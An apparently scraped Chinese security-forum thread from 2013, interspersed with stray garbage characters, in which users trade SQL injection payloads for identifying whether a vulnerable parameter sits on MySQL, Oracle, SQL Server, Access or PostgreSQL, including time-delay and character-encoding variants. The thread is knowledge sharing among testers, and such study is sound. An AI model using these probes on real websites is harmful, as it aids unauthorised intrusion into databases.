一个注射点如何最快速确认是什么类型数据库
. p& t( @8 O+ T& |& Ixsser (十根阳具有长短!!) | 2013-02-05 12:36& p* s/ Z A/ ?% ?6 Z
假设这么一个注射点:
) k% R% v4 _& o$ x* T; ~* K8 E6 yshow.html?id=2
1 A7 P! ^3 U/ t, x# A) @mysql:id=2 and version()>00 ^( J6 w& y( n8 l% _
oracle:id=2 and '1'||'1'='11
# E+ M* |3 ^* A, t其他的欢迎补充
0 f3 J$ d4 A. D4 u8 C- V1#
) h6 S, `( [3 _* Y& o$ @( ^upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47' j" p/ J1 e: G& F
Access:
* [& |# D- I0 T) SaNd aSc(cHr(97))=97# j" `, _3 F, i+ v" ^
and exists(select id from MSysAccessObjects) R }+ r' m9 o5 s2 U$ G3 q: F
SQL Server:
, z3 s$ f3 d( y r4 V: [and exists(select id from sysobjects)
( Q+ ^0 M* O2 F# `and length(user)>0
( p& _6 Z$ [5 Z: P) @1 JMySQL:
$ j5 L+ U+ t6 sand length(user())>0
+ b) F; X6 ?1 t7 U1 l8 h$ T1 |2#
0 e# ^) y G {8 P {xsser (十根阳具有长短!!) | 2013-02-05 12:48
: B, U, g6 ]9 U4 Q@upload 如果这些都不是呢…" O! f9 w( {/ U @2 c
3#! U# _' q! k4 Z, b* c* R$ j" `
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:034 N( j8 X& W' ?1 Z5 \' C h8 y1 a+ r
@xsser 不快速的,延时注入* o+ ?1 f2 C& H
不知道这样写对不对
* o1 N( o) C/ b* c% a/ K0 mmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3' [ [. ]1 g0 T# s( D
mysql:id=2 and select benchmark(1e8,current_date());
7 Q' f/ j. m5 n9 B0 p, b* a' r4#' Q$ G4 U9 @+ s Y
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
1 t! |4 T l: ]& H2 X" _2 d$ L最快的貌似是看报错信息
2 c) m i$ d6 l8 P! Y O) U/ n1 qoracle error# Z3 S5 j3 O5 j! h
mssql error$ Q! `) G9 h- C% `& \7 s( c* _9 }
mysql error$ E6 A6 F( L& O# B
5#9 X& `. Y$ T& P
Nimda (你们都是坏银~) | 2013-02-05 13:14& A. P- u5 n6 j3 |
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
7 A5 D- f+ v* F$ p6#
/ e. q6 @( t3 X; tupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21. V- U. @; X0 V5 Z7 r" u
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
$ e5 h1 z( ]. Y# p4 ~“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:5 d. Z0 V4 B+ P6 u5 `4 g& l
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
5 R7 ]) ~* U f. t8 w4 D6 q. r7#
- m1 W, I4 D3 J6 v_Evil (HackEnd) | 2013-02-05 13:339 Z0 u, Q! `8 Y+ L
PostgreSQL9 h. P. T( @/ x+ f& B' R
8#
( z! g9 {+ A/ g' ?upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42* U1 W# E& w/ v# B( q( f7 }
切换编码 and 1=1: ^4 n9 X4 i, b$ Z/ a2 z! V, }7 f
oracle:. ? K( X/ U3 a% [. o
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)* R1 O9 e% Y0 V
mssql:
+ W/ p, {7 `% z) }! v. u5 r4 lCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
; ~8 }% n0 c! S# s* Q) P tmysql:( a1 c# Z0 t7 n. e
CHAR(97, 110, 100, 32, 49, 61, 49)
# C* P7 Z. S8 X# G- l4 H9#2 l- [' u. W9 g% i0 n5 v
xsser (十根阳具有长短!!) | 2013-02-05 14:31
2 N! _7 x( v; i# f$ Z' W@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?! q- g; Q1 l+ M O1 E* I& e: M
10#
, v- a; l @6 K; cupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
6 H3 V2 X7 D0 r@xsser 是奇葩数据库类型的么?$ K6 D d7 `# g+ |2 R/ a
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:; G" _6 T. m0 ]
1.是否可以使用特定的函数来判断,该数据库特有的
; f$ \) C& w; L3 @. P, h2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等2 |* z5 h) M' D+ {) x+ N
3.是否可以编码查询
' b. z5 F* l$ T0 ^0 Z7 O V4.是否显可以利用错信息/ r& ^: P, j& g( u$ f. X
5.是否存在数据库某些特性辅助判断
9 k0 A5 D2 u6 v* L; |个人见解
' Q2 L1 L5 n8 U% E8 w11#4 [& A% _5 w6 F* i/ Q/ J
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
) I4 t/ O; U5 k0 ?8 R已收藏,mssql可以直接看到错误提示的吧~: v- ^5 w, K M" |
12#: b! b/ Q4 @+ @
Passer_by | 2013-02-05 15:09
1 S5 b" t% y% X! z( k曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
C2 x6 _9 P6 y% b4 |, `. }! W* B) }( S) rfrom:http://zone.wooyun.org/content/260 |